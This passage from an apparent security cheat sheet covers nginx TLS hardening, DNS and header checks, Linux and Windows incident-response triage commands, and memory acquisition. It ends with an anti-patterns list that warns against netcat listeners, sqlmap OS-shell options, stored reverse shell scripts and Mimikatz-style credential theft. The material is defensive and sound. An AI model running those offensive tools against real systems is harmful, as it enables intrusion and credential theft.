ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
ssl_stapling on;
ssl_stapling_verify on;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options DENY always;
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;Check HTTP security headers on a site
curl -sI https://<target> | grep -iE 'strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy'Verify DNS over HTTPS / DNSSEC
# Check DNSSEC validation
dig +dnssec <domain> A
dig @8.8.8.8 +dnssec <domain> DNSKEY
# Test DMARC, SPF, DKIM records
dig TXT _dmarc.<domain>
dig TXT <domain> # look for v=spf1
dig TXT <selector>._domainkey.<domain>Block outbound DNS to prevent bypass of internal resolvers (nftables)
nft add rule inet filter output udp dport 53 ip daddr != 10.0.0.53 drop
nft add rule inet filter output tcp dport 53 ip daddr != 10.0.0.53 dropIncident Response - Quick Triage
Linux - capture process list with full command lines
ps auxf
# Or with network connections
ss -tlnp
lsof -i -n -PLinux - find recently modified files (last 24h)
find / -xdev -mtime -1 -type f 2>/dev/null | grep -v '/proc\|/sys\|/run'Linux - check for unusual cron jobs
for dir in /etc/cron.d /etc/cron.daily /etc/cron.weekly /etc/cron.hourly /etc/cron.monthly; do
echo "=== $dir ===" && ls -la "$dir" 2>/dev/null
done
crontab -l 2>/dev/null
cat /etc/crontabLinux - identify persistence mechanisms
# Startup scripts
ls -la /etc/rc.local /etc/init.d/ /etc/systemd/system/
# At jobs
atq 2>/dev/null
# User crontabs
for user in $(cut -d: -f1 /etc/passwd); do
crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' | sed "s/^/$user: /"
doneLinux - check for active network connections to unexpected IPs
ss -tnp state established | awk 'NR>1 {print $4, $5, $6}' | sort -k2
# Resolve process names for suspicious connections
lsof -i -n -P | grep ESTABLISHEDLinux - list all SUID binaries (compare to known-good baseline)
find / -xdev -perm -4000 -type f 2>/dev/null | tee /tmp/suid_now.txt
# diff against a baseline
diff /tmp/suid_baseline.txt /tmp/suid_now.txtWindows - check recently created accounts
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet |
Sort-Object PasswordLastSet -DescendingWindows - list active network connections with process names
Get-NetTCPConnection -State Established |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
@{N='Process';E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
Sort-Object RemoteAddressWindows - find recently created files in temp locations
$cutoff = (Get-Date).AddHours(-24)
Get-ChildItem -Path C:\Windows\Temp, $env:TEMP, 'C:\Users' -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.CreationTime -gt $cutoff } |
Select-Object FullName, CreationTime, LengthWindows - check for suspicious scheduled tasks
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike '\Microsoft\*' } |
Select-Object TaskName, TaskPath, @{N='Action';E={$_.Actions.Execute}} |
Sort-Object TaskPathWindows - review security event log for failed logons (Event 4625)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-24)} |
Select-Object TimeCreated,
@{N='Account';E={$_.Properties[5].Value}},
@{N='Source';E={$_.Properties[19].Value}} |
Group-Object Source | Sort-Object Count -DescendingWindows - hunt for common persistence registry keys
$runKeys = @(
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
)
foreach ($key in $runKeys) {
Write-Host "=== $key ===" -ForegroundColor Cyan
Get-ItemProperty -Path $key -ErrorAction SilentlyContinue
}Windows - check WMI subscriptions (common APT persistence)
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBindingCollect a memory dump for forensics (Linux)
# Using LiME (requires kernel module compile)
insmod lime-$(uname -r).ko "path=/tmp/mem.lime format=lime"
# Or with avml
avml /tmp/memory.rawCollect a memory dump for forensics (Windows)
# Using WinPmem
.\winpmem_mini_x64_rc2.exe --output C:\mem.raw --format rawAnti-patterns
Offensive
-
🚨
curl -k/--insecurein production scripts or pipelines - it silently disables TLS validation and trains teams to ignore certificate errors. -
🚨
nc -lvnplisteners running unattended on internet-facing hosts - they accept any connection with no authentication. -
🚨
sqlmap --os-shellor--os-pwnwithout explicit written authorisation - these are destructive operations. -
🚨 Storing payloads, reverse shell scripts, or loot in your home directory on shared or production systems.
-
🚨
ffufornmapagainst production systems without a change window - noisy scans trigger alerts and can cause instability on fragile services.
Defensive
-
🚨
PasswordAuthentication yesinsshd_configon internet-facing hosts - key-only authentication is non-negotiable. -
🚨
PermitRootLogin yesinsshd_config- use a named admin user andsudo. -
🚨
0.0.0.0/0inbound on port 22 or 3389 in firewall rules - restrict to known IPs, a VPN, or a bastion host. -
🚨 Disabling Windows Defender without a tested, deployed replacement already in place.
-
🚨 WDigest enabled -
UseLogonCredential=1stores credentials in cleartext in LSASS and is the primary target of Mimikatz-style attacks. -
🚨 Relying solely on host-based firewall - defence in depth requires network-layer controls too.
-
🚨
NOPASSWDsudo rights granted broadly - use scoped entries for specific commands if automation requires it.